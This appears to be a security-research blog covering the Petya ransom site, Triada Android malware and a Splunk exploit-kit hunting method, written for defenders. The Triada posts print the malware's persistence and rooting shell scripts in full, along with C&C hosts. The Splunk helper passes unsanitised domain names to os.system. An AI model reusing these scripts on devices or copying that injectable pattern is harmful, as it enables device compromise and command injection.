Thursday, March 31, 2016

Petya Ransomware: Threat Actors ready since December 2015

A few days ago TrendMicro made public in his blog that they found a new family of Crypto-Ransomware which is  able to overwrite the MBR. This means that the system can't boot normally until the MBR is restored and for that it is necessary to pay the a 'rescue'. The 'rescue' is paid in BTC and in order to do the payment, it necessary to access a Tor page. 

I was doing some research on this as I ended up with a sample that was not reported yet at the moment of the analysis. At the moment of writing this post, the ratio of detection in VT for that sample was very low:




Taking a look to the Tor website

After the host is infected, it automatically reboots. Once booted, a screen like the one below is displayed:



Here I can already see the onion URL to access the webpage to pay the 'rescue'.  Only the 1st link http://petya37h5tbhyvki.onion/bL25sw was active while doing this analysis.

When accessing the webpage, the first thing I find is a captcha


Then, I am informed that my system is infected with "military grade encryption" and that I need to purchase a key to decrypt the system



The process to obtains the key and requires to identify my infected system with the unique ID, which permits to obtains the BTC wallet where they money must be sent









The web looks quite professional and even there is a support link where the victim can send a message to the threat actors:



Moreover, the copyright message across the web is quite funny



In the news section, one can read that this 'project' (as they call it) was launched the 16/12/2015






To be continued..

Tuesday, March 22, 2016

Triada malware: hitting the android core system (part II)

Following my previous post I took a look to another sample from this same malware family. 






This second sample was reported the same day I performed the analysis and it has quite significative differences with very interesting points.

The first difference is that the malicious code is inside an application which shows in the list of applications, opposite to the previous one which was 'hidden'. Moreover, the size of the APK is significantly bigger (1.5MB vs 100KB)

.

The application has a strange name: anefjlb.cdioclg.nfffpjj.jidondl.gkibaap.lmkgcmk and it requests a bunch of permissions, if compared to the sample analysed in previous post 


 <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="droid.permission.INSTALL_PACKAGES" />
    <uses-permission android:name="android.permission.CLEAR_APP_CACHE" />
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <permission android:name="android.permission.ACCESS_DOWNLOAD_MANAGER" />
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" />
    <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.intent.action.BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <permission android:name="android.permission.BAIDU_LOCATION_SERVICE" />
    <uses-permission android:name="android.permission.BAIDU_LOCATION_SERVICE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_GPS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW" />
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
    <uses-permission android:name="READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_MMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.WRITE_APN_SETTINGS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.GET_PACKAGE_SIZE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.RESTART_PACKAGES" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_MTK_MMHW" />
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.MOUT_UNMOUNT_FILESYSTEMS" />
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.BROADCAST_STICKY" />
    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />

But the interesting part comes when analysing the behaviour of the malicious APK. 
I managed to capture some of the temporal files used by the application to become persistent in the system. There are several binaries and scripts:


busybox:             gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
cd:                  very short file (no magic)
configopb:           ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
core:                Zip archive data, at least v2.0 to extract
install:             a /system/bin/sh script text executable
install-recovery.sh: a /system/bin/sh script text executable
librgsdk.so:         ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
mksh:                gzip compressed data, from Unix, last modified: Tue Dec 10 09:34:32 2013
recovery:            gzip compressed data, was "install-recovery.sh", from Unix, last modified: Wed Jun 11 11:59:16 2014
sr:                  data

One of the files is Busybox, which provides many Linux/Unix tools in a singe binary.   Really interesting :)

The install script contains the following set of commands


#!/system/bin/sh
/system/bin/mount -o remount,rw /system
mount -o remount,rw /system
chmod 777 /system/etc
rm -f /system/etc/install-recovery.sh
cat /data/local/tmp/install-recovery.sh > /system/etc/install-recovery.sh
chown 0.0 /system/etc/install-recovery.sh
chown 0:0 /system/etc/install-recovery.sh
chmod 0755 /system/etc/install-recovery.sh
chmod 755 /system/etc
chmod 777 /system/bin
rm -f /system/bin/conbb
cat /data/local/tmp/configopb > /system/bin/conbb
chown 0.0 /system/bin/conbb
chown 0:0 /system/bin/conbb
chmod 6755 /system/bin/conbb
chmod 755 /system/bin
chmod 777 /system/xbin
rm -f /system/xbin/conbb
cat /data/local/tmp/configopb > /system/xbin/conbb
chown 0.0 /system/xbin/conbb
chown 0:0 /system/xbin/conbb
chmod 6755 /system/xbin/conbb
chmod 755 /system/xbin
mount -o remount,ro /system
/system/xbin/conbb ac32dorbdq

Basically the script is remounting the filesystem in order to be able to copy some script "install-recovery.sh" and  some binaries "conbb" and "configopb". This is done to keep them persistently in the filesystem.

The install-recovery.sh script contains the following:


#!/system/bin/sh
/system/xbin/conbb ac32dorbdq &
/system/bin/configopb ac32dorbdq &


The file 'mksh' is a compressed file which contains a set of scripts which reference to an APK named com.baidu.easyroot, which it is a rooter. The content of the scrips is the following:


cat baiduscript-1

#!/system/bin/sh
'set' '-e';'exec' >>'/data/data/com.baidu.easyroot/files/mksh/baiduscript-4' 2>&'1';PATH='/system/bin';'mv' '/data/property' '/data/property.1384944281';'set' '+e';('set' '-e';'mkdir' '/data/property';'set' '+e';('set' '-e';'ln' '-s' '/sys/kernel/uevent_helper' '/data/property/.temp';'setprop' 'persist.sys.impactor' '/data/data/com.baidu.easyroot/files/mksh/baiduscript-2';
    if ! rm /data/property/persist.sys.impactor 2>/dev/null; then
        sleep 1
        rm /data/property/persist.sys.impactor
    fi;'ln' '-s' '/sys/bus/hid/uevent' '/data/property/.temp';'setprop' 'persist.sys.impactor' 'add';
    if ! rm /data/property/persist.sys.impactor 2>/dev/null; then
        sleep 1
        rm /data/property/persist.sys.impactor
    fi);e=$?;'rm' '-r' '/data/property';'set' '-e';(exit $e));e=$?;'mv' '/data/property.1384944281' '/data/property';'set' '-e';(exit $e)



cat baiduscript-2

#!/system/bin/sh
'set' '-e';'exec' >>'/data/data/com.baidu.easyroot/files/mksh/baiduscript-4' 2>&'1';PATH='/system/bin';'echo' '' >'/sys/kernel/uevent_helper';'set' '+e';('set' '-e');e=$?;'echo' >'/data/data/com.baidu.easyroot/files/mksh/baiduscript-5';'set' '-e';(exit $e);'/data/data/com.baidu.easyroot/files/mksh/baiduscript-3'




cat baiduscript-2

#!/system/bin/sh
'set' '-e';'exec' >>'/data/data/com.baidu.easyroot/files/mksh/baiduscript-4' 2>&'1';PATH='/system/bin';'mount' '-o' 'remount,rw' '' '/system';'set' '+e';('set' '-e';'set' '+e';('set' '-e');e=$?;'mkdir' '/system/xbin' 2>'/dev/null';'set' '-e';(exit $e);'cat' '/data/data/com.baidu.easyroot/files/su' >'/system/xbin/su';'chmod' '6755' '/system/xbin/su';'chmod' '6755' '/system/app/BaiduRoot.apk');e=$?;'mount' '-o' 'remount,ro' '' '/system' 2>'/dev/null';'set' '-e';(exit $e);'set' '+e';('set' '-e');e=$?;'echo' >'/data/data/com.baidu.easyroot/files/mksh/baiduscript-6';'set' '-e';(exit $e)


The last interesting file 'core' is an APK already reported in VirusTotal. 





The mentioned APK is almost the same than  b2c2f74772c5057451668f144191f8d7191e5f98dbc6b6533698af5aa2baabc8 which Is the one I analysed in my previous post


In terms of traffic, the behavior is very similar to the previous sample. There are several connection to different C&C hosts:

ph3.elsyzsmc.com:8080, cr3.rurimeter.com:8080, ph1.rurimeter.com:8080, ph2.elsyzsmc.com:8080, ph1.elsyzsmc.com:8080. Those domains resolve to the following IP:

ph3.elsyzsmc.com 103.15.217.165
ph1.rurimeter.com 103.15.217.165
ph2.elsyzsmc.com 103.15.217.165
ph1.elsyzsmc.com 103.15.217.165
cr3.rurimeter.com 103.6.223.226

Note that host 103.6.223.226 also is linked to ph3.xiaoyisy.com and ph4.xiaoyisy.com, used by the sample b2c2f74772c5057451668f144191f8d7191e5f98dbc6b6533698af5aa2baabc8


 

Moreover, some additional modules are gathered from xla.poticlas.com, which it is exactly the same used by sample  b2c2f74772c5057451668f144191f8d7191e5f98dbc6b6533698af5aa2baabc8




This time the modules pulled are different:


MD5 (2020.zip) = 42d6f191f1d7daf1e6204aa5823ef563
MD5 (2027.zip) = 31465b67f57efe3930dd9ebb7da3bc88
MD5 (2030.zip) = b1fccf033a589adf862d9c3b339f8efc
MD5 (2031.zip) = 25d93aba3e276ebd802814a3cd1aa735
MD5 (2044.zip) = b69876c4925e19d418564a5ec74f8554



Im summary, the points to highlight from this sample are:  its root capabilities through some scripts and rooting APK. Moreover, it is able to use / install some additional tools like Busybox, which provides some additional Linux  / Unix functionalities. The way it becomes persistent in the system, remounting the filesystem in order to be able to copy some scripts and binary files makes very difficult to clean it up. 
The communication with the C&C and the installation of additional modules is similar to sample b2c2f74772c5057451668f144191f8d7191e5f98dbc6b6533698af5aa2baabc8 from the same malware family.







Wednesday, March 16, 2016

Triada malware: hitting the android core system (part I)

Kaspersky announced that its researchers have found the most sophisticated Android malware which can be compared to Windows malware in terms of complexity.
In a post from SecureList there is already some information about how this malware works.

Basically, the malware is able to infect the core Android Zygote process, which is the parent process of any application launched in Android. This means that potentially any application executed in the mobile might be infected. Also, it is very a modular malware and it has the ability to download and install additional modules, hence to perform absolutely anything in the compromise device

I have taken a look to a coupe of samples and there are few interesting points.

Sample b2c2f74772c5057451668f144191f8d7191e5f98dbc6b6533698af5aa2baabc8 was detected almost one month ago.

 

This sample did not work in two devices running Android 4.4 and Android 6.0.1 (although it is supposed that it should work with Android < 4.4.4). It perfectly worked in physical device running Android 2.3.7.




Note that the size of the application is only 100KB once installed.

The application doesn't execute after the installation, but only once the system has been rebooted. The application is not displayed the with the rest of applications. The application can't be stopped, only Uninstalled.

<receiver android:name="com.android.system.AndroidReceiver" android:permission="android.permission.RECEIVE_BOOT_COMPLETED">
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="com.android.system.guardianship.info.server.monitor"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </receiver>

After rebooting, the application starts doing its job.  A new process is created (app_63) and lot of threads are spawn.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
app_63    1569  1229  98192  21640 ffffffff afd0c76c S com.android.system.op.guardianship.server
app_43    1578  1229  97176  19484 ffffffff afd0c76c S com.bel.android.dspmanager
app_63    1588  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1589  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1590  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1591  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1592  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1594  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1595  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1596  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1597  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1598  1569  0      0     c0094540 00000000 Z dianship.server
app_63    1599  1569  0      0     c0094540 00000000 Z dianship.server
app_29    1631  1229  101316 22936 ffffffff afd0c76c S android.process.media
app_63    1686  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1697  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1700  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1701  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1702  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1703  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1704  1569  0      0     c0094540 00000000 Z Thread-12
app_41    1706  1229  97548  20392 ffffffff afd0c76c S com.android.deskclock
app_7     1742  1229  100292 20436 ffffffff afd0c76c S com.google.android.partnersetup
app_47    1755  1229  99556  21052 ffffffff afd0c76c S com.android.providers.calendar
app_60    1766  1229  96712  19844 ffffffff afd0c76c S de.schaeuffelhut.android.openvpn
app_0     1776  1229  122116 29060 ffffffff afd0c76c S com.android.vending
app_20    1811  1229  98112  22192 ffffffff afd0c76c S com.koushikdutta.rommanager
app_3     1824  1229  312252 54948 ffffffff afd0c76c S com.google.android.gms
app_63    1834  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1837  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1838  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1840  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1841  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1842  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1843  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1844  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1845  1569  0      0     c0094540 00000000 Z Thread-12
app_63    1846  1569  0      0     c0094540 00000000 Z Thread-12
app_3     1850  1229  231080 50988 ffffffff afd0c76c S com.google.android.gms.persistent
app_4     1917  1229  99480  19612 ffffffff afd0c76c S com.google.android.apps.uploader
system    1930  1229  101492 24592 ffffffff afd0c76c S com.android.settings
system    1938  1229  97792  20576 ffffffff afd0c76c S com.cyanogenmod.cmparts
app_23    1946  1229  96124  19052 ffffffff afd0c76c S com.android.protips
app_27    1957  1229  96864  19432 ffffffff afd0c76c S com.android.music
app_6     1965  1229  107572 24300 ffffffff afd0c76c S com.google.android.googlequicksearchbox
app_36    1982  1229  100020 22132 ffffffff afd0c76c S com.cooliris.media
app_12    1994  1229  96200  18776 ffffffff afd0c76c S com.android.voicedialer
app_14    2025  1229  144436 44608 ffffffff afd0c76c S android.process.acore
app_10    2044  1229  96040  18508 ffffffff afd0c76c S com.cyanogenmod.android.fotakill
root      2137  1237  760    360   c0093c7c afd0c5fc S /system/bin/sh
app_3     2144  1229  152788 35944 ffffffff afd0c76c S com.google.android.gms.unstable
root      2181  1237  756    340   c024280c afd0b68c S /system/bin/sh
root      2196  1237  756    332   c0093c7c afd0c5fc S /system/bin/sh
root      2197  2196  2292   1924  c0107d14 afd0ba74 S logcat
root      2214  2137  892    312   00000000 afd0b68c R ps


Later on, it communicates with the C&C ph4.xiaoyisy.com using port TCP/8080. 





Four files are created in the filesystem:


OPBKEY_b4c5d457bf08ab4d2bb9c9cbf12bd68d4c9f 
lastAccessTimes.db
opb_mark_recover.db (empty)
phone.db

Finally a JAR file is pulled from other server, xla.poticlas.com, through normal HTTP




The file downloaded, OPBUpdate_6000.jar, contains 3 more files. There is one APK file and one .DEX file.

bf26f9b2909c429af8d4876c8015a41633eb3d74  GloablBCServiceInfo.apk
95e6ad4c2bc9e6a29ea1f6d90d782be9971450bd  OPBUpdate_6000_opbRelease.db

09d856882b205e1a8f6065334d8d0fa583666acb  classes.dex

The APK and the DEX files are detected as malware as well.








Once GloablBCServiceInfo.apk is installed, process com.bc.android.core.bcservice is spawned, there are new HTTP connections to the C&C, but this time to a different subdomain: ph2.xiaoyisy.com.

Two additional modules are gathered





Those two modules can hook applications using SMS and can send SMS as well.


What we have so far: 

  • The malware doesn't run in devices running Android 4.4 and 6.0.1, so likely it only executes in devices with Android < 4.4
  • The size of the malware is just around 100KB (once installed)
  • The malware doesn't work automatically, but just only after rebooting. 
  • Also, it doesn't display the application, hence it hides from the system. No option to stop it. Only to remove it.
  • It downloads several other modules and APK inside a .JAR file. 
  • The second APK, once installed, downloads several additional modules
  • The C&C server are hosted in different subdomains. Some of the subdomains resolve to the same IP. This looks like kind of redundancy.
  • The additional APK and modules are download from the same server.



Indicators 


C&C: 
ph1.xiaoyisy.com 103.20.249.203
ph2.xiaoyisy.com 103.20.249.203
ph3.xiaoyisy.com 103.6.223.226
ph4.xiaoyisy.com 103.6.223.226


Dropper server
xla.poticlas.com


Files:

Calendar_1002.md f9b5e56e76c5eeea61f224279c756da4abb4d665
Idleinfo_4042.md c1152d2e8c005dad77b3dfac7e1e4cd785031bdc
OPBUpdate_6000.jar d47b0a190af5754625c7edf15d1ecddeae4c7108
classes.dex 09d856882b205e1a8f6065334d8d0fa583666acb
GloablBCServiceInfo.apk bf26f9b2909c429af8d4876c8015a41633eb3d74



To be continued..

Sunday, March 6, 2016

Hunting Exploit Kits Abusing Domain Generator Algorithm

Exploit Kits (EK) are not something new at all. This set of malicious tools are being investigated intensively by many security researchers at the moment on account that Threat Actors are using them massively. Luis Rocha is one of those researches and he has written about it in his blog. In this post, Luis explained how a specific EK, Neutrino, works:




  • "User browses to the compromised web server.
  • Web server contacts the backend infrastructure in order perform various check and to generate malicious java script code. These checks include things like verification of victim IP address and its Geo-location. Furthermore within the malicious JavaScript code there are new domain names and URLs that are generated dynamically by the backend.
  • The browser processes and decodes the malicious JS. In the observed infection the malicious JavaScript checks the browser version and if it matches the desired version, it stores a cookie and processes a HTML iframe tag.
  • The iframe tag triggers the browser to perform a request to another URL which is the Neutrino Exploit Kit landing page.
  • The landing page is hosted in a randomly generated host using DGA which needs to be resolved via DNS. The authoritative domain to answer these domains are owned by the threat actor. The answers received by the DNS server have a time to live (TTL) of a few seconds. The domains are registered on freely available country code top level domains (ccTLD).
  • The victim then lands in the exploit kit landing page which by its turn delivers a small HTML page with an object tag defined in its body. This object tag directs the browser to load Adobe Flash Player and then use it to play the SWF file specified in the URL. In case the victim does not have Adobe Flash player installed, the browser is instructed to download it.
  • The browser as instructed by the object tag, downloads the malicious Flash file.
  • The obfuscated and encrypted SWF file is played by the Flash Player and exploits are triggered based on available vulnerabilities. The Flash file contains exploits for CVE-2013-2551, CVE-2014-6332, CVE-2015-2419 affecting Internet Explorer and CVE-2014-0569, CVE-2015-7645 affecting Adobe Flash.
  • If the exploitation is successful, shellcode is executed and the malware is downloaded and launched. In this case we observed that the malware delivered has been CryptoWall.
The threat actors behind Neutrino are finding vulnerable websites in order to host their malicious JS  content globally in a repeatable and automated fashion. Furthermore, In the last few days Neutrino has been abusing the registration of free domains registered inside the country code top level domains (ccTLD) such as  .top, .pw, .xyz, .ml, .space and others. The different landing pages have been pointing to a server hosted in Germany and in another cases in Netherlands. In another blog post I will go into more details about it."

The detection of EK is a challenge by nature. For example, a few days ago, in Talosblog, they explained the set of changes they have detected in latest version of Angler EK, affecting the URI used by the landing page.

Malicious domains time of live

Luis Rocha mentioned in his blog that the landing page is hosted in randomly generated host using DGA. This domains are registered on freely available country top level domains (ccTLD).

Basically, the lifecycle of domains used for malicious purposes is usually quite short. The domain is registered to be used during a short timeframe for a specific campaign, until the domain is detected as malicious and it is cancelled and/or included in a blacklist.  Then, another domain is created following the same cycle again.

This information can be used to hunt in our logs; any domain recently created is worth to investigate. Obviously this is not the silver bullet as it is possible that some specific EK are not using a recent created domain as landing page, or they are using an IP instead. Moreover, it might happen that some good domain has been created recently, which will generated false positives. But in many situations this approach will help to catch EK or malware using DGA.

Searching domains with Splunk

In an enterprise environment with a Splunk setup the logs might have different formats and fields, depending on the technology used to gather the logs (proxy, network tap, HTTP server, etc). In the case of this analysis, the logs are dumped from the network traffic (pcap files) directly into Splunk, once processed by 'tshark'. Tshark extracts the relevant fields for the analysis: frame_time, http_host, http_request_method, http_request_uri, http_response_code, http_reponse_phrase, http_user_agent, http_server, ip_dst, ip_src

In the traffic I have included pcap from EK obtained from http://www.malware-traffic-analysis.net/2016/index.html.

The Splunk screenshot below shows an example of some traffic already processed and imported



As mentioned previously the fields will be different in each setup, depending on the information stored. However, the same principle and analysis will apply, just the fields to extract will be different

First thing to do is to search the HTTP requests in order to extract the domain of the URL request. Bare in mind that a URL can be composed of subdomain*.domain.  The subdomain.domain of the URL is stored in a field named "http_host" as can be seen in the screenshot above, hence to extract only the 1st level domain, I can use  'sed'. Also, I renamed the http_host field to dns.

The final query is as follow:



index=networktraffic GET OR POST |rename http_host as dns| rex field=dns mode=sed "s/.*\.(.*\..*)/\1/g" | table dns | sort dns | uniq

The output is a table with all the 1st level domains.





Whois base on DNS: creating my own whois search

One of the things I miss in Splunk is the possibility to perform whois searches base on domains, the same way there are apps to perform searches base on IP. Maybe it does exist, but I did not find it, hence I have created my own domain search

To create a customize search in splunk, you need two things: 1) declare the new search, 2) implement the script 

To declare the new search is done in  '/opt/splunk/etc/system/local/commands.conf'. For the case of this analysis I create the content below:


[whoisdns] # name of the search 
FILENAME = whoisdns.py #script in python to perform the search
supports_rawargs = true 
requiered_fields = dns # name of the field which will be used for the search
streaming = true

The script must be located in /opt/splunk/etc/searchscripts/ with name whoisdns.py. The script I have created runs the 'whois' command in order to extract two main items: name of domain and the creation date of the domain.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/python

import os
import sys
import splunk.Intersplunk

results,unused1,settings = splunk.Intersplunk.getOrganizedResults()

os.system('rm /tmp/file.txt')
os.system('echo resolution > /tmp/file.txt')
for r in results:
 v = r['dns']
 cmdstring='whois "%s" |egrep  -e "Domain Name:|Creation Date:|Domain Registration Date:|Created On|Domain Create Date" |tr "\n" " "  >>/tmp/file.txt' %(v)
 os.system('echo  >>/tmp/file.txt')
        z = os.system(cmdstring)

os.system('cat /tmp/file.txt')

Checking DNS domains with 'whoisdns'

Now, I can pass all the first level domains obtained in the query executed previously to the whoisdns search command.

In the end, I format the output and create a table with two columns: the domain name (domain) and the date of creation (creationdate).  This is splunk query executed:


index=networktraffic GET OR POST |rename http_host as dns| rex field=dns mode=sed "s/.*\.(.*\..*)/\1/g" | table dns | sort dns| uniq | whoisdns | rex field=resolution  ".*:\s*(?<domain>\w*\.\w*\s+)[\w|\s]+:\s*(?<creationdate>.*)" | table domain,creationdate | dedup domain | sort domain | table domain,creationdate

And the results (138 items):



In order to be able to use the data obtained in other searches, I keep all the data in a lookup table. Doing this, I can match any search against the data on this table.

The command executed is as follow:

index=networktraffic GET OR POST |rename http_host as dns| rex field=dns mode=sed "s/.*\.(.*\..*)/\1/g" | table dns | sort dns| uniq | whoisdns | rex field=resolution  ".*:\s*(?<domain>\w*\.\w*\s+)[\w|\s]+:\s*(?<creationdate>.*)" | table domain,creationdate | dedup domain | sort domain | table domain,creationdate | outputlookup alldomains.csv


Searching the domains recently created

In the file "alldomains.csv"  I have the full list of domains and the registration date. 
I can now search for the ones created in 2016, which are the ones I am interested on. The query in Splunk to search in a lookup table is very simple:


|inputlookup alldomains.csv | search creationdate=*2016*

From the output, I see there are domains created a few days ago. Some of this domains have very similar name.





Once I have the list of suspicious domains, I can start checking the traffic generated towards those domains with Splunk.  


From the screenshot above I see in some of the URI the pattern "search/?keyword=" which matches the Angler EK landing page, as described in Talos blog

Happy hunting!